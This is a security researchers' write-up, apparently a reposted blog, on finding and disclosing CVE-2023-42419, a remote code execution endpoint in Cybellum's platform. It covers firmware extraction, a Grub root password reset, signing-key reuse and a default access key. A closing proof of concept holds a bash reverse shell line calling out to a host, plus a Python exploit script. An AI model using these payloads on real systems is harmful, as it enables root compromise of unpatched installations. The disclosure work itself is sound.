One day I visited my friend @Imweekend. He was working on scanning the vulnerability of IVI firmware with Cybellum(The Product Security Platform). This Platform is used to manage and validate SBOMs, detect and prioritize vulnerabilities, comply with regulations and manage incident response. This Platform is based on Browser/Server Architecture.
About Vendor
Cybellum is a company that provides product security solutions for device manufacturers in the automotive, medical and industrial sectors. It helps them manage cybersecurity and cyber compliance across the entire product lifecycle, from SBOM management to vulnerability management to incident response. LG Electronics acquired Cybellum, in 2021.
This platform is widely used throughout the world by OEMs(BMW,Nissan,Grate Wall etc.) 、Tier 1(Denso, Mobileye, Harmam etc.)、The Third Party Inspection Institution(CATARC, CAERI,CSTC,CEPREI etc.)
Interesting status
With a glance at the web page, which caught my eyes.
192.168.1.102:29000/api/tasks?access_key=123
return task status with exception run—subprocess bash /tmp/bffed366—d3dl—4f1e-bc65—9a839b714add/start. sh
It looks like a normal task exception which execute failed, but the type excute_rce
is interesting. RCE is the abbreviation of “remote code execute”, RCE is a type of security vulnerability that allows attackers to run arbitrary code on a remote machine. RCE on everything is a security researcher’s dream.
As a security researcher, we are sensitive and curious about the world. excute_rce
sense looks like a backdoor api, so we decide to dig into it deeper. Cybellum is a commercial product. It’s a black box to us. We require more information to investigate whether it is backdoor or not.
Regcongize service
First use nmap to find whether other port is open.
Surprisingly, as a commercial product’s 22 (SSH) port is kept open. Login to the server requires a password. Failed to log in with the default password which is used on Web services of 443(https). Later, we use the hydra to crack the password with some wordlist, but still can’t get the correct password.
Come back to view other ports. Some of them are web applications without url path, and we got a lot of error.
Deployment method
It’s hard to make progress at outer, so we try to extract firmware for further analysis. First we need to figure out the system deployment method.
We found the image named cybellum.qcow2. Qcow2 is a file format for disk image files used by QEMU. It is an updated version of the Qcow2 format and supports AES encryption.
Now we know Cybellum uses QEMU to serve the platform. Next step is to modify the qcow2 disk image and add a backdoor account for SSH service.
Mount qcow2 disk image
qemu-nbd is QEMU Disk Network Block Device Server, which can be used to mount qcow2 image.
-
Enable NBD on the Host
modprobe nbd max_part=8
-
Connect the QCOW2 as network block device
qemu-nbd -c /dev/nbd1 ./cybellum.qcow2
-
Find The Virtual Machine Partitions
Partition is 1M BOST boot; Partition /dev/nbd1p2 ;the biggest partition is /dev/nbd1p3.
-
Mount the partition from the VM
mount /dev/nbd1p3 failed, because
unknown filesystem type 'crypto_LUKS'
. According to the error informationcrypto_LUKS show
is /dev/nbd1p3 is crypt.└─# mount /dev/nbd1p3 /media/file
mount: /media/file: unknown filesystem type 'crypto_LUKS'.
dmesg(1) may have more information after failed mount system call.cryptsetup can be used to mount encryption partition. Without a password,we are stagnant again.
# modprobe dm-crypt dm-mod
# cryptsetup open /dev/nbd1p3 test
Enter passphrase for /dev/nbd1p3:
-
find encryption parameters
Before find a key,we need to know the encryption algorithm and key length.
cryptsetup luksDump
can help us to dump the header information of a LUKS device.cryptsetup luksDump /dev/nbd1p3
show ciper is aes-xts-plain64、key is 512 bits.
LUKS header information
Version: 2
Epoch: 5
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 871011b5-f0cd-47d7-946c-a1dc6c356359
Label: (no label)
Subsystem: (no subsystem)
Flags: (no flags)
Data segments:
0: crypt
offset: 16777216 [bytes]
length: (whole device)
cipher: aes-xts-plain64
sector: 512 [bytes]
Keyslots:
1: luks2
Key: 512 bits
Priority: normal
Cipher: aes-xts-plain64
Cipher key: 512 bits
PBKDF: argon2i
Time cost: 4
Memory: 945543
Threads: 4
Salt: 74 e4 f0 7d 4c 6f 9e dc 4a e4 6c 74 13 7c fa 90
37 b4 39 2e 9a 51 71 92 da c5 c8 c7 d7 a0 d7 5e
AF stripes: 4000
AF hash: sha256
Area offset:290816 [bytes]
Area length:258048 [bytes]
Digest ID: 0
Tokens:
Digests:
0: pbkdf2
Hash: sha256
Iterations: 121362
Salt: e9 a4 5f f5 b0 04 70 68 fd 9e d0 1e 10 90 05 18
e0 64 03 b4 c2 56 e5 8e 6e 2a 91 d8 c6 6e 66 ed
Digest: 22 62 2a 43 6c f5 1b 36 88 b2 fb 7c ae 86 39 c1
b2 27 a7 ab 94 12 d3 72 9b 24 e8 fa a1 e9 f9 c2
When I delicated to find the AES 512 key, @Imweekend found another way to get access to the system.
NOTICE: decrypt and modify image see next blog.
Another easy way to get in
-
convert qcow2 to vmdk
qemu-img convert -f qcow2 cybellum.qcow2 -O vmdk cybellum.vmdk
-
Use VMware Workstation to create new virtual machine with existing virtual disk(cybellum.vmdk)
-
Grub and character console are available
Open virtual machine, hold
Shift
during loading Grub. Grub lacks protection. The next step is that we can reset the root password through grub.Print a lot of information during normal booting.
After boot finished, virtual graph console without show login conversion like other normal condition.
It indicate graph console is forbidden, but the virtual character console is still available. Use
ALT+F1-F6
switch to other console. -
reset root password
Open virtual machine, hold
Shift
during loading Grub. Go to submenuAdvcaned options for Ubuntu
.You will then be prompted by a menu that looks something like this,continue enter to
recovery mode
.Using the arrow keys scroll down to root and then hit Enter.
Now see a root prompt, something like this,set the user’s password with the
passwd
command. -
get access of the OS
After reboot the system,and hit
ALT+2
switch to character console, we are able to log in with the new password.
Analysis backdoor
According this keywordexecute_rce
, we did some digging and we found a backdoor api /api/execute_rce
. Uploading an encrypted zip file containing start.sh can achieve arbitrary code execution and obtain the system with root privilege.
Login into Ubuntu, using ss
know 29000 port is hosted by python.
Grep the keyword execute_rce
, source code at /usr/local/lib/python3.8/dist_packages/maintenance_server_microservic.
execute_rce
route path is /api/execute_rce
.
class ExecuteRCE:
NAME = 'execute_rce'
URI = '/api/execute_rce'
METHODS = ['POST']
In maintenance_server_microservice has documentation.
% tree -L 2 maintenance_server_microservice
.
├── __init__.py
├── __pycache__
├── _maintenance_server_microservice.py
├── apis
├── app.py
├── documentation
│ ├── apis.html
│ ├── common
│ ├── cybellum-logo-black.svg
│ ├── cybellum-logo-white.svg
│ ├── description.md
│ ├── docs-api-font.css
│ ├── main.json
│ ├── redoc.standalone.js
│ └── schemas
├── file_signer
├── microservice
├── scripts
├── utils
└── wsgi.py
The document Maintenance Server API (1.0) onhttp://ip:29000/docs/
.
As the document show, The Maintenance Server is a service that expose an interface to the user that suppors the following operations:
-
System install – allows deployment of a fresh system using supplied installation pack.
-
System update – allows deployment of a new version of the system
-
Restore database – allows a system database restore after it was backed-up using the backup functionality.
-
RCE Execution – allows execution of a signed script on the machine (supplied by Cybellum).
-
Update certificates – allows update of the TLS/SSL certificates of the system
RCE Execution is the target that allows execution of a signed script on the machine. The sign process may be secure or not. Next we try to analyze the sign process and find the sign key.
execute-rce
API document available on http://ip:29000/docs/#operation/execute-rce
.
Function api_execute_rce
implement in apis/apis.py.
def api_execute_rce(self):
args = parse_webargs(MaintenanceServerAPISParamsSpecs.EXECUTE_RCE, request)
api_params_names = MaintenanceServerAPIDefinitions.ExecuteRCE.Params
if request.files is None or len(request.files) != 1:
raise ReceivedNotEnoughFilesException()
access_key = args[api_params_names.ACCESS_KEY]
rce_file = api_params_names.RCE_FILE
self._validate_access_key(access_key)
temp_directory = filesystemex.create_temp_directory()
try:
self._unpack_file(temp_directory, rce_file, self.RCE_FILE)
except:
filesystemex.delete_folder(temp_directory)
raise
task = ExecuteRCETask(rce_file_name=self.RCE_FILE,
task_manager=self.task_manager,
files_root=temp_directory)
self.task_manager.submit_task(task)
return SuccessResponse({"task": task.to_json()[task.task_id]}).generate_response()
api_execute_rce get two parameters access_key
and rce_file
from frontend.
First, use validate_access_key(access_key) validate access key.
def _validate_access_key(self, access_key):
with open(self.ACCESS_KEY_FILE_PATH) as f:
content = json.load(f)
if not content or 'access_key' not in content or content['access_key'] != access_key:
raise InvalidAccessKeyException()
ACCESS_KEY_FILE_PATH link to /mnt/cybellum/maintenance_server/access_key.json
, default access_key is 123.
{"access_key":"123"}
Second, in use _upack_file
to use FileSigner.unpack_file
validate and decrypt encrypted file.
def _unpack_file(self, destination, file_name, unpacked_file_name):
file_path = os.path.join(destination, file_name)
decrypted_file_path = os.path.join(destination, unpacked_file_name)
request.files[file_name].save(file_path)
with open(os.path.join(self.SIGN_KEY_HOME, self.PRIVATE_ENCRYPTION_KEY_PASS)) as f:
private_encryption_key_pass = f.read().strip()
try:
FileSigner.unpack_file(file_path,
public_key_path=os.path.join(self.SIGN_KEY_HOME, self.SIGNATURE_PUBLIC_KEY),
private_encryption_key_path=os.path.join(self.SIGN_KEY_HOME,
self.ENCRYPTION_PRIVATE_KEY),
private_encryption_key_pass=private_encryption_key_pass,
path_to_extract_orig=decrypted_file_path)
except Exception:
raise Exception('Could not unpack file')
Third, according to unpack_file
, 4 step to unpack file.
-
Read the signature from the unpacked file.
-
Load the public key
signature_public_key.pem
, and validate the signature of encrypted file md5. -
Read the encrypted key from the unpacked file.
-
Read the encrypted file and decrypt it with symmetric_key
encryption_private_key.pem
.
A packed file is constructed with three parts; signature segment, encryption parameter segment and encrypted data segment.
Finally, use ExecuteRCETask execute rce_file
.
class ExecuteRCETask(ExecutableTask):
SCRIPT_NAME = "start.sh"
def __init__(self, rce_file_name, *args, **kwargs):
super(ExecuteRCETask, self).__init__(*args, **kwargs)
self.task_type = TaskTypes.EXECUTE_RCE.value
self.rce_file_name = rce_file_name
def _execute_specific_task_callback(self, *args, **kwargs):
output_location = self.get_results_location()
self.run_subprocess(["unzip", os.path.join(self.files_root, self.rce_file_name)])
self.run_subprocess(["sudo", "chmod", "777", "-R", self.files_root])
exe_path=os.path.realpath(os.path.join(self.files_root, self.SCRIPT_NAME))
if not os.path.exists(exe_path):
raise MissingRceExeFile()
self.run_subprocess(["bash",
os.path.realpath(os.path.join(self.files_root, self.SCRIPT_NAME)),
output_location], preexec_fn=os.setpgrp)
if len(os.listdir(output_location)):
self.result_downloadable = True
The private key under /mnt/cybellum/maintenance_server/keys directory.
-
encryption_private_key.pem: signature private key and encryption private key.
-
private_pass.txt: private key password.
-
signature_public_key.pem: Validate the signature public_key.
Key reuse: signature and encryption use the same key, encryption_private_key.pem deploy to signature, also deploy to encrypt and decrypt file.
Once we get access to the host system, we get a signature and encryption key from the system, so we can write any shell code in start.sh and pack. The platform consider it legal, and the shell script will be executed. We implemented remote code execution successfully.
If signature and encryption use different keys, and keep the signature’s private key safe. It may be more acceptable only cybellum is able to call execute-rce
with the private key.
Proof of concept
-
prepare reverse shell payload:
bash -i >& /dev/tcp/192.168.122.1/4444 0>&1"
save to start.sh -
compress start.sh to rce.zip
-
signature and encryption zip file to rce.zip.packed.
def sign_and_pack_file(destination,file_name,packed_file_name):
file_path = os.path.join(destination, file_name)
packed_file_path = os.path.join(destination, packed_file_name)
PRIVATE_ENCRYPTION_KEY_PASS = "maintenance_server/keys/private_pass.txt"
with open(PRIVATE_ENCRYPTION_KEY_PASS) as f:
private_encryption_key_pass = f.read().strip()
FileSigner.sign_and_pack_file(private_key_path="maintenance_server/keys/encryption_private_key.pem",private_key_pass=private_encryption_key_pass,input_file=file_path,signed_file_path=packed_file_path,public_encryption_key_path="maintenance_server/keys/signature_public_key.pem")
print('The file was signed successfully and was stored at {}'.format(packed_file_path) -
POST payload to
/api/execute_rce
.import requests
banner = '''
██████╗ ██ ╔██████ ██████╗ █████╗ ██████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██████╗
██╔════╝ ██ ╚════║██ ██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗
██║ ██ ║██ ██████╔╝███████║██║ █████╔╝ ██║ ██║██║ ██║██║ ██║██████╔╝
██║ ██ ║██ ██╔══██╗██╔══██║██║ ██╔═██╗ ██║ ██║██║ ██║██║ ██║██╔══██╗
╚██████╗ ██ ╔██████╝ ██████╔╝██║ ██║╚██████╗██║ ██╗██████╔╝╚██████╔╝╚██████╔╝██║ ██║
╚═════╝ ██ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
'''
url = "http://192.168.1.102:29000/api/execute_rce"
files={'rce_file': open('E:/ing/cybellum/rce.zip.packed', 'rb')}
payloads = {"access_key":"123"}
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36'}
print(banner)
print("Cybellum Backdoor exploit Program")
response = requests.request("POST", url, data=payloads,headers=headers, files=files)
if "result_downloadable" in response.text:
print("Exploit success")
else:
print("Error") -
Get root shell
About Us
@delikley Security researcher @QAX StarV Security Lab.
@Imweekend Security researcher @CAERI.
Timeline
-
2023-06-21 Contacting vendor through Email.
-
2023-06-26 Cybellum confirmed this issue.
-
2023-09-13 CVE(CVE-2023-42419) RESERVED.
-
2023-10-09 Cybellum release of security advisory.
-
2024-02-18 release this security advisory.
More
-
Cybellum advisories
-
Researcher advisories
原文始发于微信公众号(桥的断想):Take a glance of browser, I find Cybellum RCE